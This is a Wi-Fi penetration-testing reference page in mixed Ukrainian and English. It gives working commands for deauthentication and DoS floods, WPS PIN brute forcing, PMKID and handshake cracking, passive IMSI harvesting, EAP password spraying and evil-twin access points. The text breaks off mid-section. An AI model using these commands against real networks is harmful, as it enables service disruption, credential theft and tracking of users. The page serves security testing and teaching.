Pentesting Wifi
Reading time: 36 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Wifi базові команди
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Інструменти
Hijacker & NexMon (вбудований Wi-Fi на Android)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Запустіть airgeddon за допомогою docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати phishing template, щоб отримати реальний пароль мережі або capture social network credentials.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Цей інструмент автоматизує атаки WPS/WEP/WPA-PSK. Він автоматично:
- Поставить інтерфейс у monitor mode
- Просканує можливі мережі — і дозволить обрати ціль(і)
- Якщо WEP — запустить WEP атаки
- Якщо WPA-PSK
- Якщо WPS: Pixie dust attack та bruteforce attack (уважно: brute-force може зайняти багато часу). Зауважте, що він не пробує null PIN або database/generated PINs.
- Намагається перехопити PMKID з AP, щоб зламати його
- Намагається деавторизувати клієнтів AP для перехоплення handshake
- Якщо PMKID або handshake — намагається bruteforce використовуючи top5000 паролів.
Attacks Summary
- DoS
- Deauthentication/disassociation -- Відключити всіх (або конкретний ESSID/Client)
- Random fake APs -- Приховати мережі, можливе збоювання сканерів
- Overload AP -- Спроба вивести AP з ладу (зазвичай не дуже корисно)
- WIDS -- Погратись з IDS
- TKIP, EAPOL -- Деякі специфічні атаки для DoS деяких AP
- Cracking
- Crack WEP (кілька інструментів і методів)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] -- Корисно для захоплення captive portal creds та/або виконання LAN-атак
- WPA-PSK Evil Twin -- Корисно для мережевих атак, якщо ви знаєте пароль
- WPA-MGT -- Корисно для захоплення корпоративних credentials
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- Корисно для захоплення captive portal creds та/або виконання LAN-атак
- + WPA -- Корисно для захоплення WPA handshakes
DOS
Deauthentication Packets
Description from here:.
Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging "management" frames to forcefully disconnect devices from a network. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 означає deauthentication
- 1 — кількість deauths для відправки (можна відправити кілька, якщо бажаєте); 0 означає відправляти їх безперервно
- -a 00:14:6C:7E:40:80 — MAC-адреса точки доступу
- -c 00:0F:B5:34:30:30 — MAC-адреса клієнта для deauthenticate; якщо це опущено, відправляється broadcast deauthentication (працює не завжди)
- ath0 — назва інтерфейсу
Disassociation Packets
Disassociation packets, подібно до deauthentication packets, являють собою тип management frame, що використовується в Wi-Fi мережах. Ці пакети призначені для розірвання з'єднання між пристроєм (наприклад, ноутбуком або смартфоном) та access point (AP). Основна відмінність між disassociation та deauthentication полягає в їхніх сценаріях використання. Якщо AP надсилає deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown, перезавантажується або переміщується, що вимагає відключення всіх підключених вузлів.
This attack can be performed by mdk4(mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Більше DOS-атак від mdk4
У here.
ATTACK MODE b: Beacon Flooding
Надсилає beacon frames, щоб показати fake APs клієнтам. Іноді це може спричинити crash network scanners і навіть drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Відправлення authentication frames до всіх доступних Access Points (APs) у зоні дії може перенавантажити ці APs, особливо коли задіяно багато clients. Цей інтенсивний трафік може призвести до нестабільності системи, через що деякі APs можуть зависнути або навіть перезавантажитися.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probing Access Points (APs) перевіряє, чи SSID правильно відображається, та підтверджує радіус дії AP. Ця техніка, у поєднанні з bruteforcing hidden SSIDs з або без wordlist, допомагає ідентифікувати та отримати доступ до прихованих мереж.
ATTACK MODE m: Michael Countermeasures Exploitation
Відправка випадкових або дубльованих пакетів у різні QoS-черги може спричинити активацію Michael Countermeasures на TKIP APs, що призведе до однохвилинного вимкнення AP. Цей метод є ефективною тактикою DoS (Denial of Service) атаки.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Переповнення AP EAPOL Start frames створює фальшиві сесії, перевантажуючи AP і блокуючи легітимних клієнтів. Альтернативно, ін'єкція фальшивих EAPOL Logoff messages примусово відключає клієнтів; обидва методи ефективно порушують роботу мережі.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Атаки на IEEE 802.11s mesh-мережі
Різні атаки на управління лінками та маршрутизацію в mesh-мережах.
ATTACK MODE w: WIDS Заплутування
Підключення клієнтів одночасно до кількох WDS-вузлів або фейкових rogue APs може маніпулювати Intrusion Detection and Prevention Systems, створюючи плутанину та можливе зловживання системою.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
A packet fuzzer, який має різноманітні джерела пакетів і повний набір модифікаторів для маніпуляції пакетами.
Airggedon
Airgeddon пропонує більшість атак, запропонованих у попередніх розділах:
WPS
WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до роутера, прискорюючи та полегшуючи налаштування мереж, захищених за допомогою WPA або WPA2 Personal. Він неефективний для легко скомпрометованого захисту WEP. WPS використовує 8-значний PIN, який перевіряється в двох половинах, що робить його вразливим до brute-force атак через обмежену кількість комбінацій (приблизно 11 000 варіантів).
WPS Bruteforce
Є 2 основні інструменти для виконання цієї атаки: Reaver та Bully.
- Reaver був створений як надійний і практичний інструмент для атак на WPS і тестувався на великій кількості точок доступу та реалізацій WPS.
- Bully — це нова реалізація WPS brute force атаки, написана на C. Вона має кілька переваг над оригінальним reaver кодом: менше залежностей, покращена продуктивність пам'яті та cpu, правильна обробка endianness і більш надійний набір опцій.
Атака експлуатує вразливість WPS PIN, зокрема витік перших чотирьох цифр та роль останньої цифри як контрольної суми, що полегшує brute-force атаку. Однак заходи захисту проти brute-force атак, такі як blocking MAC addresses агресивних атакувальників, вимагають MAC address rotation, щоб продовжити атаку.
Після отримання WPS PIN за допомогою інструментів, таких як Bully або Reaver, атакувальник може вивести WPA/WPA2 PSK, забезпечуючи постійний доступ до мережі.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Цей вдосконалений підхід націлений на WPS PINs з використанням відомих вразливостей:
- Pre-discovered PINs: Використовуйте базу даних відомих PINs, пов’язану з конкретними виробниками, які відомі використанням уніфікованих WPS PINs. Ця база зіставляє перші три октети MAC-addresses з ймовірними PINs для цих виробників.
- PIN Generation Algorithms: Застосовуйте алгоритми, такі як ComputePIN і EasyBox, які обчислюють WPS PINs на основі MAC-address AP. Алгоритм Arcadyan додатково вимагає device ID, додаючи ще один рівень у процес генерації PIN.
WPS Pixie Dust attack
Dominique Bongard виявив вразливість у деяких точках доступу (APs), що стосувалась створення секретних кодів, відомих як nonces (E-S1 і E-S2). Якщо ці nonces можна визначити, злам WPS PIN AP стає простим. AP розкриває PIN всередині спеціального коду (hash), щоб довести, що він легітимний, а не підроблений (rogue) AP. Ці nonces по суті є «ключами» до відмикання «сейфа», що містить WPS PIN. Більше про це можна знайти here.
Простіше кажучи, проблема в тому, що деякі APs не використовували достатньо випадкові ключі для шифрування PIN під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (offline brute force attack).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Якщо ви не хочете переводити пристрій у monitor mode, або reaver
та bully
працюють некоректно, можна спробувати OneShot-C. Цей інструмент може виконувати Pixie Dust attack без необхідності переходу в monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Деякі погано спроектовані системи навіть дозволяють Null PIN (порожній або неіснуючий PIN) надавати доступ, що досить незвично. Інструмент Reaver може тестувати цю вразливість, на відміну від Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Усі запропоновані WPS-атаки можна легко виконати за допомогою airgeddon.
- 5 і 6 дозволяють спробувати your custom PIN (якщо він у вас є)
- 7 і 8 виконують Pixie Dust attack
- 13 дозволяє протестувати NULL PIN
- 11 і 12 будуть збирати PINs, пов'язані з обраним AP, з наявних баз даних та генерувати можливі PINs за допомогою: ComputePIN, EasyBox та опційно Arcadyan (рекомендовано, чому б і ні?)
- 9 і 10 перевірять всі можливі PIN
WEP
Дуже зламаний і майже не використовується нині. Просто майте на увазі, що airgeddon має опцію WEP під назвою "All-in-One" для атаки такого типу захисту. Багато інструментів пропонують подібні опції.
WPA/WPA2 PSK
PMKID
У 2018 році, hashcat revealed новий метод атаки, унікальний тим, що потребує лише one single packet і не вимагає підключених клієнтів до цільового AP — лише взаємодії між атакувальником і AP.
Багато сучасних маршрутизаторів додають опційне поле до першого EAPOL кадру під час асоціації, відоме як Robust Security Network
. Воно включає PMKID
.
Як пояснює оригінальний пост, PMKID створюється з використанням відомих даних:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Оскільки "PMK Name" є постійним, і ми знаємо BSSID AP та станції, а PMK
ідентичний тому з повного 4-way handshake, hashcat може використати цю інформацію, щоб crack the PSK and recover the passphrase!
Щоб gather цю інформацію та bruteforce локально пароль, ви можете зробити:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
PMKIDs captured будуть показані в console і також збережені всередині _ /tmp/attack.pcap_
Тепер конвертуйте захоплення у формат hashcat/john і зламайте його:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Зверніть увагу, що формат правильного хеша містить 4 частини, наприклад: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
Якщо у вашого є тільки 3 частини, то він є недійсним (запис PMKID був недійсний).
Зверніть увагу, що hcxdumptool
також захоплює handshakes (щось подібне з'явиться: MP:M1M2 RC:63258 EAPOLTIME:17091
). Ви можете перетворити ці handshakes у формат hashcat/john за допомогою cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Я помітив, що деякі handshakes, захоплені цим інструментом, не вдалося crack навіть при відомому правильному password. Рекомендую, якщо можливо, також capture handshakes традиційним способом або захопити кілька handshakes за допомогою цього інструмента.
Handshake capture
Атака на WPA/WPA2 мережі може бути виконана шляхом захоплення handshake та спроби crack password offline. Цей процес включає моніторинг зв'язку конкретної мережі та BSSID на певному channel. Ось стислий посібник:
- Визначте BSSID, channel, і connected client цільової мережі.
- Використайте
airodump-ng
для моніторингу мережевого трафіку на вказаному channel і BSSID, сподіваючись capture a handshake. Команда виглядатиме так:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Щоб збільшити шанс захоплення handshake, тимчасово відключіть клієнта від мережі, щоб примусити його до re-authentication. Це можна зробити за допомогою команди
aireplay-ng
, яка надсилає deauthentication packets клієнту:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Зверніть увагу: оскільки client був deauthenticated, він міг спробувати підключитися до іншого AP або, в інших випадках, до іншої network.
Коли в airodump-ng
з'являється інформація про handshake, це означає, що handshake було захоплено і ви можете припинити прослуховування:
Після того, як handshake захоплено, ви можете crack його за допомогою aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Перевірити, чи є handshake у файлі
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Якщо цей інструмент знайде незавершений handshake для ESSID раніше за завершений, він не виявить дійсний.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
У налаштуваннях корпоративного WiFi ви зустрінете різні методи автентифікації, кожен із яких забезпечує різні рівні безпеки та можливості керування. Коли ви використовуєте інструменти, такі як airodump-ng
, щоб аналізувати мережевий трафік, ви можете помітити ідентифікатори для цих типів автентифікації. Деякі поширені методи включають:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Цей метод підтримує апаратні токени та одноразові паролі в межах EAP-PEAP. На відміну від MSCHAPv2, він не використовує peer challenge і відправляє паролі у відкритому вигляді до access point, що створює ризик для downgrade-атак.
- EAP-MD5 (Message Digest 5):
- Включає надсилання MD5-хешу пароля від клієнта. Не рекомендовано через вразливість до dictionary-атак, відсутність автентифікації сервера та неможливість генерувати сесійні WEP-ключі.
- EAP-TLS (Transport Layer Security):
- Використовує сертифікати з обох сторін — клієнтської і серверної — для автентифікації та може динамічно генерувати користувацькі та сесійні WEP-ключі для захисту звʼязку.
- EAP-TTLS (Tunneled Transport Layer Security):
- Забезпечує взаємну автентифікацію через зашифрований тунель і метод отримання динамічних, для-користувача, для-сеансу WEP-ключів. Потребує лише сертифікатів на боці сервера, тоді як клієнти використовують облікові дані.
- PEAP (Protected Extensible Authentication Protocol):
- Працює подібно до EAP, створюючи TLS-тунель для захищеного обміну. Дозволяє використовувати слабші протоколи автентифікації поверх EAP завдяки захисту тунелю.
- PEAP-MSCHAPv2: Часто називають просто PEAP; поєднує вразливий механізм challenge/response MSCHAPv2 з захисним TLS-тунелем.
- PEAP-EAP-TLS (or PEAP-TLS): Схожий на EAP-TLS, але ініціює TLS-тунель перед обміном сертифікатами, додаючи додатковий рівень безпеки.
You can find more information about these authentication methods here and here.
Username Capture
Читаючи https://tools.ietf.org/html/rfc3748#page-27, видно, що якщо ви використовуєте EAP, то повідомлення "Identity" мають бути підтримані, і username буде відправлено у відкритому вигляді в повідомленнях "Response Identity".
Навіть використовуючи один із найбезпечніших методів автентифікації: PEAP-EAP-TLS, можна захопити username, надісланий у протоколі EAP. Для цього запишіть аутентифікаційну сесію (запустіть airodump-ng
на каналі і wireshark
на тому самому інтерфейсі) і відфільтруйте пакети за eapol
.
В межах пакета "Response, Identity" зʼявиться username клієнта.
Anonymous Identities
Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті WiFi мережі EAP-Identity запит зазвичай ініціюється access point (AP) під час процесу асоціації. Щоб захистити анонімність користувача, відповідь від EAP-клієнта на пристрої користувача містить лише мінімально необхідну інформацію для початкового RADIUS-сервера. Це ілюструється наступними сценаріями:
- EAP-Identity = anonymous
- У цьому сценарії всі користувачі використовують псевдонім "anonymous" як ідентифікатор користувача. Початковий RADIUS-сервер виступає як EAP-PEAP або EAP-TTLS сервер, який управляє серверною частиною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації тоді або обробляється локально, або делегується віддаленому (home) RADIUS-серверу.
- EAP-Identity = anonymous@realm_x
- У цьому випадку користувачі з різних realm-ів приховують свої особистості, одночасно вказуючи свій realm. Це дозволяє початковому RADIUS-серверу проксувати EAP-PEAP або EAP-TTLS запити до RADIUS-серверів у їхніх home realm-ах, які діють як PEAP або TTLS сервери. Початковий RADIUS-сервер працює лише як RADIUS relay вузол.
- Альтернативно, початковий RADIUS-сервер може функціонувати як EAP-PEAP або EAP-TTLS сервер і або обробляти захищений метод автентифікації, або переадресовувати його іншому серверу. Ця опція дозволяє налаштовувати різні політики для різних realm-ів.
В EAP-PEAP, коли TLS-тунель встановлено між PEAP-сервером і PEAP-клієнтом, PEAP-сервер ініціює EAP-Identity запит і пересилає його через TLS-тунель. Клієнт відповідає на цей другий EAP-Identity запит, відправляючи EAP-Identity відповідь з реальною ідентичністю користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю реальної ідентичності користувача будь-кому, хто перехоплює 802.11 трафік.
EAP-TTLS слідує трохи іншій процедурі. У разі EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених TLS-тунелем. У цьому випадку клієнт включає атрибут User-Name і або Password, або CHAP-Password атрибут у початковому TLS-повідомленні, надісланому після встановлення тунелю.
Незалежно від обраного протоколу, PEAP/TTLS сервер дізнається реальну ідентичність користувача після встановлення TLS-тунелю. Реальна ідентичність може бути у форматі user@realm або просто user. Якщо PEAP/TTLS сервер також відповідає за автентифікацію користувача, він отримує ідентичність користувача і продовжує роботу з методом автентифікації, захищеним TLS-тунелем. Альтернативно, PEAP/TTLS сервер може переслати новий RADIUS-запит до home RADIUS-сервера користувача. Цей новий RADIUS-запит не містить PEAP або TTLS шару протоколу. У випадках, коли захищений метод автентифікації — EAP, внутрішні EAP-повідомлення передаються до home RADIUS-сервера без обгортки EAP-PEAP або EAP-TTLS. User-Name атрибут вихідного RADIUS-повідомлення містить реальну ідентичність користувача, замінюючи anonymous User-Name з вхідного RADIUS-запиту. Коли захищений метод автентифікації — PAP або CHAP (підтримується лише TTLS), User-Name та інші атрибути автентифікації, витягнуті з TLS payload, підставляються у вихідному RADIUS-повідомленні, витісняючи anonymous User-Name та TTLS EAP-Message атрибути з вхідного RADIUS-запиту.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
Click to expand
# 1) Enable monitor mode
airmon-ng start wlan0
# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>
# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
# eap || eapol
# (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
# tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
# 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
Примітки:
- Працює перед будь-яким TLS тунелем, якщо розгортання використовує "bare" EAP‑SIM/AKA без захищеної ідентичності/псевдонімів.
- Відкритий параметр є постійним ідентифікатором, прив'язаним до SIM абонента; збір таких даних дозволяє довготривале відстеження та подальші телекомунікаційні зловживання.
Вплив
- Приватність: стале відстеження користувача/пристрою з пасивних Wi‑Fi захоплень у публічних місцях.
- Ініціація телеком-зловживань: маючи IMSI, нападник з доступом до SS7/Diameter може запитувати місцезнаходження або намагатися перехопити виклики/SMS та викрасти MFA.
Заходи пом'якшення / на що звертати увагу
- Перевірте, що клієнти використовують анонімні зовнішні ідентичності (псевдоніми) для EAP‑SIM/AKA відповідно до рекомендацій 3GPP (наприклад, 3GPP TS 33.402).
- Надавайте перевагу тунелюванню фази ідентифікації (наприклад, EAP‑TTLS/PEAP з внутрішнім EAP‑SIM/AKA), щоб IMSI ніколи не надсилалося у відкритому вигляді.
- Захоплення пакетів асоціації/автентифікації не повинні ніколи розкривати сирий IMSI в EAP-Response/Identity.
Related: Експлуатація телеком-сигналізації з захопленими мобільними ідентифікаторами Telecom Network Exploitation
EAP-Bruteforce (password spray)
If the client is expected to use a username and password (зауважте, що EAP-TLS won't be valid у цьому випадку), то ви можете спробувати отримати список usernames (див. наступну частину) та passwords і спробувати bruteforce доступ за допомогою air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Ви також можете виконати цю атаку за допомогою eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Теорія атак на клієнта
Вибір мережі та роумінг
- Протокол 802.11 визначає, як станція приєднується до Extended Service Set (ESS), але не задає критерії вибору ESS або access point (AP) в його межах.
- Станції можуть переміщуватися між AP з однаковим ESSID, підтримуючи підключення по всьому будинку або зоні.
- Протокол вимагає автентифікації станції до ESS, але не зобов'язує AP автентифікуватися перед станцією.
Preferred Network Lists (PNLs)
- Станції зберігають ESSID кожної бездротової мережі, до якої вони підключалися, у своєму Preferred Network List (PNL), разом з конфігураційними деталями, специфічними для мережі.
- PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.
Passive Scanning
- AP періодично транслює beacon frames, оголошуючи свою присутність та можливості, включно з ESSID AP, якщо мовлення не вимкнено.
- Під час пасивного сканування станції слухають beacon frames. Якщо ESSID в beacon співпадає з записом у PNL станції, станція може автоматично підключитися до цього AP.
- Знання PNL пристрою дозволяє потенційно експлуатувати його, імітуючи ESSID відомої мережі та обманюючи пристрій, щоб він підключився до rogue AP.
Active Probing
- Active probing передбачає, що станції надсилають probe requests для виявлення сусідніх AP та їх характеристик.
- Directed probe requests орієнтовані на конкретний ESSID, що допомагає визначити, чи певна мережа знаходиться в зоні дії, навіть якщо вона прихована.
- Broadcast probe requests мають поле SSID, рівне null, і надсилаються всім сусіднім AP, дозволяючи станції перевірити наявність будь-якої preferred мережі без розголошення вмісту її PNL.
Simple AP with redirection to Internet
Before explaining how to perform more complex attacks it's going to be explained how to just create an AP and redirect it's traffic to an interface connected to the Internet.
Using ifconfig -a
check that the wlan interface to create the AP and the interface connected to the Internet are present.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Створіть файл конфігурації /etc/dnsmasq.conf
:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Потім встановіть IP-адреси та маршрути:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
А потім запустіть dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Створіть файл конфігурації hostapd.conf
:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Зупиніть набридливі процеси, увімкніть monitor mode та запустіть hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Пересилання та перенаправлення
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
An evil twin attack експлуатує спосіб, яким WiFi clients розпізнають мережі, покладаючись переважно на ім'я мережі (ESSID) без потреби, щоб base station (access point) автентифікував себе для клієнта. Основні моменти включають:
- Difficulty in Differentiation: Пристрої важко розрізняють легітимні та rogue access points, коли вони мають однаковий ESSID і encryption type. У реальних мережах часто використовують кілька access points з тим самим ESSID для безшовного розширення зони покриття.
- Client Roaming and Connection Manipulation: Протокол 802.11 дозволяє пристроям переміщатися між access points в межах одного ESS. Атакуючі можуть експлуатувати це, змушуючи пристрій відключитися від поточного base station і підключитися до rogue access point. Це можна досягти, пропонуючи сильніший сигнал або порушуючи з’єднання з легітимним access point за допомогою методів, таких як deauthentication packets або jamming.
- Challenges in Execution: Успішне виконання evil twin attack в середовищах із кількома добре розташованими access points може бути складним. Deauthenticating одного легітимного access point часто призводить до того, що пристрій підключається до іншого легітимного access point, якщо атакуючий не може deauthenticate усі ближні access points або стратегічно не розмістить rogue access point.
You can create a very basic Open Evil Twin (no capabilities to route traffic to Інтернет) doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Також ви можете створити Evil Twin за допомогою eaphammer (зверніть увагу, що для створення evil twins з eaphammer інтерфейс не повинен бути у monitor mode):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Або використовуючи Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Будь ласка, зауважте, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до Open evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач вручну підключиться до вашого Open evil Twin, або ви можете DoS реальний AP і використати WPA Evil Twin, щоб захопити handshake (використовуючи цей метод ви не зможете дозволити жертві підключитися до вас, оскільки не знаєте PSK, але можете захопити handshake і спробувати crack it).
Some OS and AV will warn the user that connect to an Open network is dangerous...
WPA/WPA2 Evil Twin
Ви можете створити Evil Twin using WPA/2 і, якщо пристрої налаштовані підключатися до цього SSID з WPA/2, вони спробують підключитися. Проте, щоб завершити 4-way-handshake вам також потрібно знати пароль, який клієнт буде використовувати. Якщо ви його не знаєте, підключення не буде завершено.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Щоб зрозуміти цю атаку, рекомендую спочатку прочитати коротке WPA Enterprise пояснення.
Використання hostapd-wpe
hostapd-wpe
потребує конфігураційного файлу для роботи. Щоб автоматизувати генерацію цих конфігурацій, можна використати https://github.com/WJDigby/apd_launchpad (завантажте python-файл у /etc/hostapd-wpe/).
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
